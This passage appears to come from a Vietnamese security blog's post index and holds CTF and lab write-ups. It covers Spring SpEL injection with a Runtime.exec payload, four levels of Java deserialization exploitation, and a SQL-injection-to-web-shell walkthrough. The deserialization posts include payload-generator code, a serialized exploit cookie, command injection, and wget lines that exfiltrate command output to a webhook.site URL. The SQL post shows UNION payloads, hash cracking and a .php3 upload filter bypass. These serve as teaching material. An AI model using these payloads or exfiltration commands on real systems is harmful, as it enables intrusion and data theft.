nội dung SpEL độc hại vào trường body thông qua endpoint /news/1 (hàm updateNews). Sau đó, nội dung này được thực thi khi gọi endpoint /news/1/view, nơi hàm renderNewsBody sử dụng newsService.render() để xử lý nội dung trong body. Cách Payload Hoạt Động Truy cập ClassLoader của role: role.getDeclaringClass().getClassLoader() role: Là một biến có giá trị truyền vào EvaluationContext của SpEL. getDeclaringClass(): Lấy lớp khai báo của role. getClassLoader(): Truy cập ClassLoader của lớp này, cho phép tải các lớp khác trong JVM. Sử dụng Reflection để tải lớp java.util.Scanner: .loadClass(\u0026#34;java.util.Scanner\u0026#34;) Tải lớp Scanner từ Java API. Lớp này được sử dụng để đọc dữ liệu từ một InputStream.\nLấy Constructor phù hợp: .getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\u0026#34;java.io.InputStream\u0026#34;)][0] .getConstructors(): Lấy danh sách các constructor của Scanner. ?[\u0026hellip;]: Lọc constructor có duy nhất một tham số, và tham số đó là java.io.InputStream. [0]: Lấy constructor đầu tiên phù hợp. Tạo một đối tượng Scanner: .newInstance(...) Tạo một thể hiện của lớp Scanner bằng cách truyền vào một InputStream. Thực thi lệnh ls /app: role.getDeclaringClass().getClassLoader().loadClass(\u0026#34;java.lang.Runtime\u0026#34;).getMethod(\u0026#34;getRuntime\u0026#34;).invoke(null).exec(\u0026#34;ls /app\u0026#34;).getInputStream() Tải lớp java.lang.Runtime. Lấy phương thức getRuntime() để truy cập đối tượng Runtime. Gọi phương thức exec(\u0026ldquo;ls /app\u0026rdquo;) để thực thi lệnh ls /app trên hệ thống. Kết quả của lệnh được trả về dưới dạng một InputStream. Đọc kết quả từ InputStream: .useDelimiter(\u0026#34;\\\\\\\\A\u0026#34;).next() Sử dụng Scanner để đọc toàn bộ nội dung từ InputStream (kết quả của lệnh ls). useDelimiter(\u0026rdquo;\\\\A\u0026rdquo;): Đặt dấu phân cách là toàn bộ nội dung (\\A là ký hiệu cho toàn bộ chuỗi). next(): Lấy toàn bộ nội dung từ InputStream. Cách Kết Quả Được Trả Về Gửi Request để Cập Nhật body:\nKhi bạn gửi payload qua endpoint /news/1 (hàm updateNews), nội dung payload được lưu vào field body trong đối tượng News. Trigger SpEL Injection:\nKhi bạn truy cập endpoint /news/1/view (hàm renderNewsBody), nội dung body được xử lý bởi hàm newsService.render(): this.parser.parseExpression(bodyTemplate, this.templateParser).getValue(ctx, String.class); Tại đây, nội dung body chứa biểu thức SpEL được phân tích cú pháp và thực thi. Thực thi Lệnh Qua SpEL:\nSpEL biểu thức trong body thực thi lệnh ls /app, kết quả được đọc từ - - InputStream và trả về dưới dạng chuỗi. Phản hồi Kết Quả:\nKết quả của lệnh (ví dụ: danh sách file trong /app) được trả về qua API /news/1/view dưới dạng phản hồi HTTP.\nReflective:\nTrong trường hợp này, kết quả được trả về từ ứng dụng dưới dạng phản hồi HTTP thông qua cơ chế Reflection:\nReflection: Payload tận dụng Reflection API của Java để thực thi lệnh (thông qua Runtime.exec). SSRF Payload: Kết quả của payload được phản ánh (reflect) qua API /news/1/view. ","permalink":"https://blog.pzhat.id.vn/posts/2025-10-23-cscv-spring-time-challenge/","summary":"\u003ch1 id=\"spring-time-ctf-challenge-writeup\"\u003eSpring Time CTF challenge WriteUp\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/r14_Z7wRgx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eWeb App được chia làm 2 services khác nhau bao gồm:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003egateman : port 8080\u003c/li\u003e\n\u003cli\u003enewsman : port 8082\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"phân-tích-từng-chức-năng-từng-service\"\u003ePhân tích từng chức năng từng service\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGateman\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/r1d3imwRee.png\"\u003e\u003c/p\u003e\n\u003cp\u003eNó được chạy bằng port 8080 bên cạnh đó nó còn gọi cloud cùng với đó là expose include ra các chức năng như \u003ccode\u003ehealth\u003c/code\u003e , \u003ccode\u003einfo\u003c/code\u003e , \u003ccode\u003egateway\u003c/code\u003e. Vậy nên có thể biết được đây là service \u003ccode\u003eSpring Cloud\u003c/code\u003e với chức năng routing đến các \u003ccode\u003eroutes\u003c/code\u003e.\u003c/p\u003e","title":"Spring Time CTF challenge WriteUp"},{"content":"Java Deserialize CBJS Lab Giải thích chi tiết về lỗ hổng Deserialization 1. Deserialization là gì?\nSerialization là quá trình chuyển đổi một object (đối tượng) trong bộ nhớ thành một định dạng có thể lưu trữ hoặc truyền tải (như byte stream, JSON, XML).\nDeserialization là quá trình ngược lại - chuyển đổi dữ liệu đã được serialize trở lại thành object trong bộ nhớ.\n2. Nguyên nhân Lỗ hổng xảy ra khi:\nỨng dụng deserialize dữ liệu từ nguồn không tin cậy (user input, network). Không có validation/filtering đầu vào Attacker có thể kiểm soát nội dung được deserialize. Quá trình deserialization tự động thực thi code trong object 3. Tác động\nRemote Code Execution (RCE): Thực thi mã độc từ xa. Authentication bypass: Vượt qua xác thực. Privilege escalation: Leo thang đặc quyền. Denial of Service (DoS): Làm sập hệ thống. SQL Injection: Thông qua object manipulation. 4. Các ngôn ngữ bị ảnh hưởng\nJava (ObjectInputStream) PHP (unserialize) Python (pickle) .NET (BinaryFormatter) Ruby (Marshal) Exploit and POC Level 1: Level 1 đưa ta đến với 1 giao diện khá là đơn giản khi không có gì ngoài dòng Hello Servlet để trỏ đến trang khác bây giờ mình sẽ thử click vào để xem thử ra cái gì.\nNó trả về cho ta 1 dòng là Hello Guest còn lại không có gì bây giờ ta sẽ thử với burpsuite xem thử quá trình request sẽ có những gì xảy ra.\nRequest có vẻ không đưa ra nhiều thông tin cần thiết cho ta nhưng ta để ý rằng có user cookie khá là đáng ngờ trong trường hợp này.\nLevel 1 bao gồm 3 class chính đó là :\nHelloServlet.java User.java Admin.java package com.example.javadeserialize; import java.io.*; public class User implements Serializable { private String name; public User() { this.name = \u0026#34;Guest\u0026#34;; } @Override public String toString() { return this.name; } public String getName() { return this.name; } } Ở class user có 1 thuộc tính là name và method getName() để trả về giá trị name.\npackage com.example.javadeserialize; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class Admin extends User { private String getNameCMD; public Admin() { this.getNameCMD = \u0026#34;whoami\u0026#34;; } @Override public String toString() { try { Process proc = Runtime.getRuntime().exec(this.getNameCMD); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); return stdInput.readLine(); } catch (IOException e) { return \u0026#34;\u0026#34;; } } } Đây là class admin nó sẽ kế thừa class User và có thêm 1 thuộc tính là getNameCMD trả về kết quả của whoami, sau đó là hàm toString và đây cũng là một magic method của java.\npublic void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { try { response.setContentType(\u0026#34;text/html\u0026#34;); PrintWriter out = response.getWriter(); // Get list of cookie Map\u0026lt;String, String\u0026gt; cookieMap = Arrays.stream(request.getCookies()).collect(Collectors.toMap(Cookie::getName, Cookie::getValue)); // Check is user cookie has already set User user; if (!cookieMap.containsKey(\u0026#34;user\u0026#34;)) { user = new User(); Cookie cookie = new Cookie(\u0026#34;user\u0026#34;, serializeToBase64(user)); response.addCookie(cookie); } else { try { user = (User)deserializeFromBase64(cookieMap.get(\u0026#34;user\u0026#34;)); } catch (Exception e) { out.println(\u0026#34;Please don\u0026#39;t hack me\u0026#34;); e.printStackTrace(); return; } } out.println(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;h1\u0026gt;Level 1 Hello \u0026#34; + user + \u0026#34;\u0026lt;/h1\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;); } catch (Exception e) { response.setContentType(\u0026#34;text/html\u0026#34;); PrintWriter out = response.getWriter(); out.println(\u0026#34;Something went wrong\u0026#34;); return; } Đến với class HelloServlet.java thì đây là phần xử lý logic chính của cả bài ở đây nó sẽ thực hiện deserialize cookie để lấy được giá trị của User nhưng trong trường hợp không tồn tại cookie của user thì nó sẽ tạo một cookie mới và đưa lại xử lý như cũ.\npublic class HelloServlet extends HttpServlet { public String serializeToBase64(Serializable obj) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(output); oos.writeObject(obj); oos.close(); return Base64.getEncoder().encodeToString(output.toByteArray()); } Hàm ở đây có writeObject() là hàm serialize của java.\nprivate static Object deserializeFromBase64(String s) throws IOException, ClassNotFoundException { byte[] data = Base64.getDecoder().decode(s); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); Object o = ois.readObject(); ois.close(); return o; } Sau đó sẽ là hàm deserialize với method là readObject().\nSau khi phân tích ta thấy ở đoạn hàm doGet() ở đó có một dòng:\nout.println(\u0026#34;\u0026lt;h1\u0026gt;Level 1 Hello \u0026#34; + user + \u0026#34;\u0026lt;/h1\u0026gt;\u0026#34;); Ở đây là một đoạn ghép chuỗi và nó đã gọi đến hàm toString() và kích hoạt magic method đó, khi mà toString() được kích hoạt thì nó sẽ gọi đến câu OS command là whoami và trả về kết quả sau khi thực thi đó.\nĐó sẽ là cái sink để ta có thể khai thác ta sẽ đi theo hướng exploit để có thể tạo ra một cái cookie đúng theo cấu trúc nhưng khác ở đây là ta có thể thay đổi được nội dung sau khi serialize theo ý thích của mình việc còn lại chỉ cần inject cookie mới vào để nó deserialize ra bây giờ ta sẽ đi đến với bước code exploit.\nVới code exploit ta sẽ giữ lại hầu như các function các class sẵn có để có thể tạo thành gadget đúng theo ý mình và đúng theo cách hoạt động của web app.\nTại Admin.java mình tiến hành thay đổi câu lệnh whoami thành id để khi nó gọi đến toString thì thay vì gọi cmd là whoami bây giờ nó sẽ trả về giá trị sau khi thực thi câu lệnh id.\nTại đây vì sử dụng class Admin nên ta sẽ thay đổi User user = new User() sang User user = new Admin() để cho đúng với cấu trúc.\nSau đó viết một class GeneratePayload.java có nội dung:\npackage com.example.javadeserialize; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) { try { System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Đang chuẩn bị tạo payload...\u0026#34;); Admin payloadObject = new Admin(); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Generate payload object: \u0026#34; + payloadObject); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(payloadObject); objectOutputStream.close(); byte[] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Payload = Base64.getEncoder().encodeToString(serializedBytes); System.out.println(\u0026#34;\\n--- Complete! ---\u0026#34;); System.out.println(\u0026#34;Cookie:\u0026#34;); System.out.println(\u0026#34;======================================================================\u0026#34;); System.out.println(base64Payload); } catch (Exception e) { System.err.println(\u0026#34;Đã có lỗi xảy ra!\u0026#34;); e.printStackTrace(); } } } Code này sẽ giúp in ra user cookie sau khi mình ghép các gadget lại với nhau tạo ra user cookie đã được sửa thành payload.\nThành công gen ra được payload bây giờ ta sẽ thử thay thế vào xem kết quả.\nThành công thực thi câu lệnh id bây giờ ta hoàn toàn có thể RCE web theo ý muốn.\nDebug ở đây cho ta thấy bây giờ giá trị đúng là id vậy nên ta đã hoàn toàn khai thác được level này.\nLevel 2: Về bên ngoài thì có vẻ như level 2 cũng không quá khác biệt với level 1 vẫn chỉ là chức năng như chỉ là chương trình có thêm chức năng kiểm tra HTTP Connection bằng cách sử dụng os command ping và curl.\nĐến với source code của level 2 ta thấy rằng có 3 class mới gồm:\nHTTPConnection.java MyHTTPClient.java MyRequestServlet.java Còn lại thì nó vẫn giống như level 1 bây giờ ta sẽ thử đọc đoạn code đã gọi đến magic method giống level trước để xem cái sink có còn tồn tại hay không.\nthis.message = \u0026#34;Level 2 Hello \u0026#34; + user.getName(); out.println(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;h1\u0026gt;\u0026#34; + message + \u0026#34;\u0026lt;/h1\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;); } catch (Exception e) { response.setContentType(\u0026#34;text/html\u0026#34;); PrintWriter out = response.getWriter(); out.println(\u0026#34;Something went wrong\u0026#34;); return; } Ở đây ta để ý rằng phần cộng chuỗi bây giờ đã bị thay đổi thành user.getName() là gọi thẳng function thay vì gọi toString như ở level 1 nên không có magic method ở đây để tạo sink nữa nó sẽ lấy thẳng user name thẳng từ trong User.java luôn.\npackage com.example.javadeserialize; import java.io.Serializable; public class User implements Serializable { private String name; public User(String name) { this.name = name; } public String getName() { //getName ở đây return this.name; } } Vậy nên ta sẽ đi đến với 3 class mới để tìm gadget gọi đến magic method để xem liệu có hướng nào không.\nĐến với class HTTPConnection thì có vẻ như không có cái gì đặc biệt ở đây để khai thác:\npackage com.example.javadeserialize; import java.io.IOException; import java.io.Serializable; public class HTTPConnection implements Serializable { private String url; public HTTPConnection(String url) { this.url = url; } public void connect() throws IOException, InterruptedException { // TODO: connect to this.url } } Nó chỉ khởi tạo biến url sau đó thực hiện connect.\nỞ class MyHTTPClient.java ta nhận thấy có 2 cái sink khả nghi có thể khai thác được đó là ở hàm sendRequest() và hàm readObject():\npublic void sendRequest() { String path = \u0026#34;/bin/bash\u0026#34;; ProcessBuilder pb = new ProcessBuilder(path, \u0026#34;-c\u0026#34;, \u0026#34;curl \u0026#34; + this.host); try { Process curlProcess = pb.start(); } catch (IOException e) { e.printStackTrace(); } } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, InterruptedException { in.defaultReadObject(); // Test connection String path = \u0026#34;/bin/bash\u0026#34;; ProcessBuilder pb = new ProcessBuilder(path, \u0026#34;-c\u0026#34;, \u0026#34;ping \u0026#34; + this.host); Process ping = pb.start(); int exitCode = ping.waitFor(); // TODO: add implement for exitCode check } Ở đây ProcessBuilder là một hàm nguy hiểm nó có thể chạy tiến trình tới đường dẫn mà dev truyền vào và ở đây đoạn sendRequest() nó đang thực hiện curl đến với giá trị this.host đây là một sink hoàn toàn có khả năng thực hiện OS command Injection vậy nên bây giờ ta phải tìm được nơi gọi đến hàm sendRequest() để củng cố kịch bản.\nỞ class MyRequestServlet.java ta tìm được nơi gọi đến function sendRequest() nhưng ở đây nó đã bị comment lại nên có vẻ sẽ không có kịch bản khai thác hàm này ở đây.\nBây giờ ta sẽ chỉ còn lại 1 sink đó là ở hàm readObject() ta có thể nhận ra ngay rằng hàm readObject này là một magic method nó sẽ được tự động gọi khi chương trình tiến hành deserialize data và truyền giá trị vào OS Command ở dòng ProcessBuilder pb = new ProcessBuilder(path, \u0026quot;-c\u0026quot;, \u0026quot;ping \u0026quot; + this.host);\nVậy ở đây ta hoàn toàn có thể lợi dụng nó để tiến hành nối dài câu OS Command ở đây ta sẽ inject thêm ở this.host thành xxxx; id dấu ; sẽ thực hiện nối dài câu OS Command và thực thi thêm câu lệnh id ở đằng sau.\nBây giờ ta sẽ thực hiện phần code exploit, phần code sẽ không khác gì cũ ta sẽ chỉ cần copy 3 class mới vào thêm vào đó ta tiến hành code sửa lại phần hàm.\nỞ đây ta khởi tạo MyHTTPClient và thực hiện gọi xxxx; id vì ở đây phần mình inject đó sẽ được gọi vào this.host.\nĐó là logic tấn công của ta bây giờ sẽ là code để gen ra được payload:\npackage com.example.javadeserialize; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) { try { String commandToInject = \u0026#34;xxxx; id\u0026#34;; System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Gen payload Level 2...\u0026#34;); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Inject: \u0026#39;\u0026#34; + commandToInject + \u0026#34;\u0026#39;\u0026#34;); // Bước 1: Tạo đối tượng gadget MyHTTPClient với payload của chúng ta MyHTTPClient payloadObject = new MyHTTPClient(commandToInject); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Process...\u0026#34;); // Bước 2 \u0026amp; 3: Serialize và encode Base64 (giữ nguyên như cũ) ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(payloadObject); objectOutputStream.close(); byte[] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Payload = Base64.getEncoder().encodeToString(serializedBytes); // Bước 4: In ra kết quả cuối cùng System.out.println(\u0026#34;\\n--- Done! ---\u0026#34;); System.out.println(\u0026#34;Cookie Level 2:\u0026#34;); System.out.println(\u0026#34;======================================================================\u0026#34;); System.out.println(base64Payload); System.out.println(\u0026#34;======================================================================\u0026#34;); } catch (Exception e) { System.err.println(\u0026#34;Error!\u0026#34;); e.printStackTrace(); } } } Thành công gen ra được cookie payload : rO0ABXNyAChjb20uZXhhbXBsZS5qYXZhZGVzZXJpYWxpemUuTXlIVFRQQ2xpZW50xxgQsBtC2FUCAAFMAARob3N0dAASTGphdmEvbGFuZy9TdHJpbmc7eHIAKmNvbS5leGFtcGxlLmphdmFkZXNlcmlhbGl6ZS5IVFRQQ29ubmVjdGlvbjaZ6lLJoIWoAgABTAADdXJscQB+AAF4cHQAD2h0dHA6Ly94eHh4OyBpZHQACHh4eHg7IGlk\nTiến hành inject cookie mới vào xem thử kết quả sẽ trả về như thế nào.\nKết quả có vẻ không như mong muốn có vẻ như ta đã làm sai ở một bước nào đó bây giờ kiểm tra lại code đoạn thực hiện deserialize vì lỗi này nó nằm ở catch của phần deserialize.\nĐể ý rằng ở đây có vẻ như cookie bị ép kiểu thành user nên có vẻ chính nó đã gây lỗi ở phần cookie nên nó trả về exception. Nhưng liệu trước khi chạm đến phần deserialize thì liệu nó đã thực thi OS Command chưa bây giờ ta sẽ thử Debug.\nTa có thể thấy rằng giá trị của this.host đã được gán và thực thi vậy ở đây ta có thể kết luận là blind OS Command Injection bây giờ ta có 3 cách đó là đưa kết quả ra ngoài , error based và time based ta sẽ chọn cách đưa kết quả ra ngoài bằng webhook cho dễ.\nString commandToInject = \u0026quot;xxxx; wget https://webhook.site/12df02bf-338e-46a4-bed3-363434d64f1e\u0026quot;; Sửa thành như này xem liệu bên webhook có nhận request hay không.\nThành công nhận được request đến từ server đến webhook bây giờ ta sửa một chút ở PayloadGenerate.java để nó đưa kết quả của câu lệnh id ra.\npublic static void main(String[] args) { try { String commandToRun = \u0026#34;id\u0026#34;; // \u0026lt;-- BẠN CÓ THỂ THAY LỆNH Ở ĐÂY (ví dụ: \u0026#34;whoami\u0026#34;, \u0026#34;ls -la /\u0026#34;) // Lệnh đầy đủ sẽ được inject vào shell String commandToExfiltrate = \u0026#34;wget --no-check-certificate --post-data=\\\u0026#34;$(\u0026#34; + commandToRun + \u0026#34; | base64)\\\u0026#34; https://webhook.site/12df02bf-338e-46a4-bed3-363434d64f1e\u0026#34;; // Payload cuối cùng để inject vào `ping` String finalPayload = \u0026#34;xxxx; \u0026#34; + commandToExfiltrate; System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Generate Payload \u0026#39;\u0026#34; + commandToRun + \u0026#34;\u0026#39; ra webhook...\u0026#34;); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Commands: \u0026#34; + finalPayload); Thành công trả về giá trị sau khi của kết quả câu lệnh id ở đây mình encode thành base64 để tránh các lỗi không mong muốn.\nKết quả đúng với câu lệnh kết luận ta đã thành công RCE.\nLevel 3: Với level 3 thì chức năng vẫn sẽ tương tự với các level trước nên ta đi thẳng vào phân tích source code luôn.\nPhần lớn source code vẫn sẽ giống như là level 2 khác cái giờ không có readObject để lợi dụng như level 2 nữa nên ta sẽ phân tích những đoạn sink có thể khai thác được.\nSau một lúc đọc thì tôi tìm thấy sink có thể khai thác được ở class MyHTTPClient.java.\n@Override public void connect() throws IOException, InterruptedException { // Test connection String path = \u0026#34;/bin/bash\u0026#34;; ProcessBuilder pb = new ProcessBuilder(path, \u0026#34;-c\u0026#34;, \u0026#34;ping \u0026#34; + this.host); Process ping = pb.start(); int exitCode = ping.waitFor(); // TODO: add implement for exitCode check } Ở đây có function là connect() bên trong là hàm ProcessBuilder là một unsafe method cùng với đó là câu lệnh OS Command được thực thi bằng nó đây là sự kết hợp giữa Untrusted Data cùng với Unsafe method và ta hoàn toàn có thể lợi dụng nó để thực hiện CMDi như ở level trước vấn đề bây giờ ta phải tìm xem class nào gọi đến hàm connect().\nỞ class TestConnection.java ta đã tìm thấy connect() được gọi.\nprivate void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, InterruptedException { in.defaultReadObject(); // Re-create the connection this.connection.connect(); } Từ đây ta đã hoàn thiện sink rồi bây giờ chỉ cần tạo thêm object TestConnection vì trong đó có readObject để gọi hàm connect().\nBây giờ viết payload để in ra được cookie và tiến hành inject thôi.\npackage com.example.javadeserialize; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) { try { String commandToRun = \u0026#34;id\u0026#34;; String commandToExfiltrate = \u0026#34;wget --no-check-certificate --post-data=\\\u0026#34;$(\u0026#34; + commandToRun + \u0026#34; | base64)\\\u0026#34; https://webhook.site/12df02bf-338e-46a4-bed3-363434d64f1e\u0026#34;; String finalPayload = \u0026#34;xxxx; \u0026#34; + commandToExfiltrate; System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Generating Java deserialization payload...\u0026#34;); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Command to be executed on server: \u0026#34; + finalPayload); // Step 1: Create the \u0026#34;inner\u0026#34; object (Sink) // This is the MyHTTPClient object containing our malicious command. MyHTTPClient maliciousHttpClient = new MyHTTPClient(finalPayload); // Step 2: Create the \u0026#34;outer\u0026#34; object (Entry Point) // This is the TestConnection object that will be deserialized by the server. // We inject our malicious object into its `connection` field. TestConnection payloadObject = new TestConnection(maliciousHttpClient); System.out.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; Gadget chain created. Starting serialization and encoding...\u0026#34;); // Step 3 \u0026amp; 4: Serialize and encode Base64 (unchanged) ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // Write the TestConnection object (which contains MyHTTPClient) to the stream objectOutputStream.writeObject(payloadObject); objectOutputStream.close(); byte[] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Payload = Base64.getEncoder().encodeToString(serializedBytes); // Step 5: Print the final result System.out.println(\u0026#34;\\n--- Done! ---\u0026#34;); System.out.println(\u0026#34;Cookie Level 3 (Gadget Chain):\u0026#34;); System.out.println(\u0026#34;======================================================================\u0026#34;); System.out.println(base64Payload); System.out.println(\u0026#34;======================================================================\u0026#34;); } catch (Exception e) { System.err.println(\u0026#34;\u0026gt;\u0026gt;\u0026gt; An error occurred!\u0026#34;); e.printStackTrace(); } } } Thành công gen ra được cookie mới của level 3.\nThay cookie mới vào và lưu nó lại.\nServer trả về kết quả như này nhưng không cần quan tâm vì như đã debug ở bài trước thì quá trình deserialize được thực thi trước khi nổ ra lỗi.\nThành công RCE ở level 3.\nLevel 4: Đến với level 4 thì chức năng của nó trên GUI thì vẫn sẽ như cũ nên ta sẽ nhìn thẳng vào source code luôn.\nỞ level này các class khác đã bị loại bỏ hết chỉ còn mỗi 2 class chính là:\nHelloServlet.java User.java Cũng tựa tựa như level 1 khi chỉ có mỗi 2 class còn lại bây giờ ta sẽ đi vào 2 class duy nhất để xem thử có đường nào để có thể khai thác hay không.\nSau một lúc đọc 2 class thì nó cũng hầu như không có hướng để có thể khai thác được vì ta chỉ có duy nhất class User để gọi method nhưng không có gì ở bên trong nên ta sẽ phân tích thử các file được include vào.\nỞ file pom.xml có một đoạn có khả năng đưa cho ta thông tin để có thể tìm kiếm gadget trên mạng.\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;commons-collections\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;commons-collections\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.1\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; Sau một lúc tìm kiếm nhận ra rằng ysoserial có gadget để khai thác đực commons-collections ver 3.1 đã được include trong dependency của server.\nDùng ysoserial thành công tạo được cookie để payload bây giờ tiến hành inject.\nThay cookie và save vào.\nThành công lấy được request về giờ ta đã RCE thành công level cuối cùng của bài deserialize.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-10-15-cbjs-java-deserialize/","summary":"\u003ch1 id=\"java-deserialize-cbjs-lab\"\u003eJava Deserialize CBJS Lab\u003c/h1\u003e\n\u003ch3 id=\"giải-thích-chi-tiết-về-lỗ-hổng-deserialization\"\u003eGiải thích chi tiết về lỗ hổng Deserialization\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e1. Deserialization là gì?\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSerialization là quá trình chuyển đổi một object (đối tượng) trong bộ nhớ thành một định dạng có thể lưu trữ hoặc truyền tải (như byte stream, JSON, XML).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDeserialization là quá trình ngược lại - chuyển đổi dữ liệu đã được serialize trở lại thành object trong bộ nhớ.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e2. Nguyên nhân\u003c/strong\u003e\nLỗ hổng xảy ra khi:\u003c/p\u003e","title":"Java Deserialize CBJS Lab"},{"content":"Pentester Lab From Sql Injection to Shell Fingerprinting Sử dụng nmap với cú pháp:\nsudo nmap -sV 192.168.179.132 -T4 Kết quả trả về cho thấy đang có 2 port đang được mở đó là port 22 và 80 như ta đã biết port 22 là SSH còn 80 là Apache httpd thì có nghĩa là nó đang host 1 cái web nào đó.\nTiến hành curl đến xem thử có tồn tại không và để lấy được source code của web được host ở đây nó đưa cho ta thông tin về server và web được code bằng PHP/5.3.3-7+squeeze14.\nTruy cập GUI để cho dễ nhìn và tương tác với web app để tiến hành khai thác lỗ hổng nằm trên web app này.\nSử dụng wfuzz để tiến hành fuzzing directory ở đây ta test ra được các endpoint là all.php , cat.php , header.php , index.php , show.php.\nExploit the vulnerability Sau khi truy cập các endpoint tôi để ý đến endpoint cat.php nhất vì sau khi truy cập cat thì ngay sau đó có dấu hiệu query đến database ở đoạn ?id=1 nên ở đây ta tạm nghi ngờ có thể dính SQL injection.\nỞ đây là biến id sẽ được truy vấn đến database để lấy ra thông tin trong database nhằm in ra ngoài cho user xem được thông tin hay hình ảnh bên trong nên ta tạm suy ra được câu truy vấn sẽ là:\n\u0026lt;?php $id = $_GET[\u0026#34;id\u0026#34;]; $result= mysql_query(\u0026#34;SELECT * FROM articles WHERE id=\u0026#34;.$id); $row = mysql_fetch_assoc($result); ?\u0026gt; Ở đây ví dụ mình truy cập đến với endpoint là /articles.php?id=1 thì ngay lập tức câu truy vấn trở thành SELECT * FROM articles WHERE id = 1 và thông tin sẽ được trả về cho user.\nThử khai thác Sql Injection với câu lệnh cơ bản để lấy thông tin database '1' UNION SELECT 1, @@version,3,4 # sau đó tiến hành url encode để nối nó lại với nhau ở đây với '' nó sẽ giúp ta đóng chuỗi làm cho cú pháp hết bị lỗi sau đó câu query UNION SELECT sẽ được thực thi và @@version sẽ giúp ta trả về thông ti version của database trong trường hợp cột này tồn tại.\nTiến hành leak table name của database ở đây có khá nhiều bảng được tạo ở trong database.\nThành công lấy được thông tin các cột trong database.\nSử dụng Concat để combine 2 trường giá trị của login và password để lấy thông tin đăng nhập của admin.\n\u0026#39;1\u0026#39;+UNION+SELECT+1,CONCAT(login,\u0026#39;%3a\u0026#39;,password),3,4+FROM+users+%23 Ở đây nó trả về cho ta dòng admin:8efe310f9ab3efeae8d410a8e0166eb2 nhưng ở đây ta có thể thấy rằng password này là hash nên bây giờ ta có thể sử dụng john the reaper để tiến hành giải mã password đó ra hoặc đơn giản mình sử dụng CrackStation là tool có sẵn vì ở đây cái hash này nhìn qua là biết nó chỉ là MD5 sẽ dễ để decrypt.\nThành công lấy được password là P4ssw0rd.\nThành công đăng nhập được vào admin panel bước tiếp theo là ta sẽ upload lên một file shell.php để có thể thực thi được RCE (remote code execution) để điều khiển server và đánh cắp thông tin bên trong.\nSau khi upload lên nó trả lời là NO PHP!!! vậy có thể thấy extension .php đã bị filter lại và ta sẽ không thể upload file php được nữa bây giờ ta sẽ tìm cách để bypass nó.\nTa sẽ thử thay thế extension bằng .php3 xem thử nó sẽ ra kết quả như thế nào.\nThành công upload file shell.php3 lên server.\nThành công thực hiện thực thi Remote Code execution (RCE) server ở đây tôi dùng câu lệnh ls -la http://192.168.179.132/admin/uploads/shell.php3?cmd=ls%20-la.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-10-10-pentesterlab-from-sql-to-shell/","summary":"\u003ch1 id=\"pentester-lab-from-sql-injection-to-shell\"\u003ePentester Lab From Sql Injection to Shell\u003c/h1\u003e\n\u003ch3 id=\"fingerprinting\"\u003eFingerprinting\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" 